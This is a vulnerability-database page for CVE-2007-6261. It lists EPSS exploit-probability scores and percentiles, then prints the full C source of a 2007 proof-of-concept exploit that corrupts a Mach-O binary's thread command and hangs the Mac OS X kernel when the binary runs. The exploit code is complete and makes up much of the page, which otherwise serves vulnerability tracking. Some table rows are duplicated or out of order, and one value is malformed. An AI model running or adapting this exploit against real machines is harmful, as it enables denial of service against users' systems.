CVE-2007-6261 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-03-31	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-30	–	–	–	0.04%	–
2024-08-04	–	–	–	0.04%	–
2024-08-11	–	–	–	0.04%	–
2024-11-10	–	–	–	0.04%	–
2024-12-22	–	–	–	0.13%	–
2025-02-16	–	–	–	0.13%	–
2025-01-19	–	–	–	0.13%	–
2025-02-16	–	–	–	0.13%	–
2025-03-18	–	–	–	–	0.15%
2025-03-30	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	11%
2024-03-31	12%
2024-06-02	13%
2024-06-30	14%
2024-08-04	13%
2024-08-11	14%
2024-11-10	15%
2024-12-22	48%
2025-02-16	49%
2025-01-19	48%
2025-02-16	49%
2025-03-18	33%
2025-03-30	32%
2025-04-15	36%
2025-04-15	36%

/* xnu-macho-dos.c * * Copyright (c) 2007 by <mu-b@digit-labs.org> * * Apple MACOS X xnu <= 1228.0 local kernel DoS POC * by mu-b - Thu 15 Nov 2007 * * - Tested on: Apple MACOS X 10.4 (xnu-792.22.5~1/RELEASE_I386) * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_PPC) * * integer overflow causes infinite loop in load_threadstack. * (bsd/kern/mach_loader.c) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2007!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define MAX_PATH_LEN 128 #define LC_UNIXTHREAD 0x05 #define x86_THREAD_STATE32 0x01 /* osfmk/mach-o/loader.h */ struct thread_command { unsigned long cmd; /* LC_THREAD or LC_UNIXTHREAD */ unsigned long cmdsize; /* total size of this command */ unsigned long flavor; /* flavor of thread state */ unsigned long count; /* count of longs in thread state */ }; static void * xmalloc (int num_bytes) { char *buf; buf = malloc (num_bytes); if (buf == NULL) { fprintf (stderr, "malloc (): out of memory allocating %d-bytes!\n", num_bytes); exit (EXIT_FAILURE); } return (buf); } int main (int argc, char ** argv) { char fnbuf[MAX_PATH_LEN], *ptr, *cur, *end; int fd, wfd, found, size; struct stat fbuf; printf ("Apple MACOS X xnu <= 1228.0 local kernel DoS PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s <macho-o binary>\n", argv[0]); exit (EXIT_SUCCESS); } if ((fd = open (argv[1], O_RDONLY)) == -1) { perror ("open ()"); exit (EXIT_FAILURE); } snprintf (fnbuf, sizeof fnbuf, "%s-pown", argv[1]); if ((wfd = open (fnbuf, O_RDWR | O_CREAT)) == -1) { perror ("open ()"); exit (EXIT_FAILURE); } if (fstat (fd, &fbuf) < 0) { perror ("fstat ()"); exit (EXIT_FAILURE); } size = fbuf.st_size; ptr = xmalloc (sizeof (char) * size); end = ptr + size; if (read (fd, ptr, size) < size) { unlink (fnbuf); perror ("write ()"); exit (EXIT_FAILURE); } close (fd); for (cur = ptr, found = 0; !found && cur + sizeof (struct thread_command) < end; cur += sizeof (unsigned long)) { struct thread_command *thr_cmd; thr_cmd = (struct thread_command *) cur; if (thr_cmd->cmd == LC_UNIXTHREAD && thr_cmd->flavor == x86_THREAD_STATE32) { thr_cmd->count = 0x3FFFFFFE; printf ("* found at offset @0x%08X\n", cur - ptr); found = 1; } } if (!found) { unlink (fnbuf); fprintf (stderr, "* ARGH! hueristic didn't find our target!\n"); exit (EXIT_FAILURE); } write (wfd, ptr, size); fchmod(wfd, fbuf.st_mode); close (wfd); free (ptr); fprintf (stdout, "* done\nexecute ./%s at your own risk!$%%!\n", fnbuf); return (EXIT_SUCCESS); } // milw0rm.com [2007-12-04]